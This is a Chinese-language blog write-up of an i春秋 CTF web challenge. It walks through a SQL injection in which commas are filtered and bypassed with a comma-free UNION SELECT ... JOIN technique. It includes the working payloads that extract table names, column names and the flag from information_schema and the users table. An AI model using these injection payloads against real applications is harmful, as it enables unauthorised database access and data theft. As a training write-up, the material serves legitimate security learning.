乔悟空-CTF-i春秋-Web-SQLi
2020.09.05
今天注定是高产的一天,这题真是坑,不看wp真的不会做,现在回头来复习一遍。
做题
题目
做题
-
这题坑人的地方就在于重定向了两次,并且重要信息在第一次里藏着,第二次还给了错误信息诱骗你🤧
-
第一次
-
第二次
-
-
用第一次跳转信息测试
-
默认payload
payload:l0gin.php?id=1
-
发现可能是逗号截断
payload:l0gin.php?id=0 UNION SELECT 1,2,3,4
-
尝试验证是否是逗号截断
payload:0' ^(length(',')=0) %23
-
-
payload被从逗号处截断,所以找一个不用逗号的办法
方法来源
这个方法着实好用,适用于不能用逗号的情况,对于这个方法有以下总结- 通式
SELECT * FROM (a语句) a JOIN (b语句) b
; - 如果需要多个语句,应该是可以进行嵌套;
- 这里的a语句和b语句应该只能是SELECT语句,因为我直接放
database()
不能出结果,但是替换成SELECT database()
就可以; - 这个方法适用于逗号被过滤的情况,但是我觉得问题的关键是发现逗号被过滤,让我自己做我可能发现不了这个问题……
- 通式
-
开始愉快的常规操作
-
表名
payload:0' UNION SELECT * FROM (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='sqli') a JOIN (SELECT database()) b %23
结果:user
-
列名
payload:0' UNION SELECT * FROM (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users') a JOIN (SELECT database()) b %23
结果:id,username,flag_9c861b688330
-
flag
payload:0' UNION SELECT * FROM (SELECT GROUP_CONCAT(flag_9c861b688330) FROM sqli.users ) a JOIN (SELECT database()) b %23
结果:flag{03c70fae-aaf8-46dc-955d-ce165d*****},test
-
表名
payload:``
结果:
-
总结
- 以后井号一定记得用%23代替,因为这个,我浪费了大把的时间……
- 在
0'^(length(',')=0)
这里,不知道为什么第一个0后边的单引号必须加着,要不然就不能出正确结果,我很纳闷,有知道的有缘人麻烦告知,先行谢过。最一开始的时候也没加单引号啊😥 - 我似乎有强迫症,这个这个mk编辑器不是一般的不好用,有点不习惯,希望早日升级👐
赠人玫瑰🌹手有余香
能帮到你我很高兴
您的赞👍是我前进的动力,奥力给
Thanks for watching!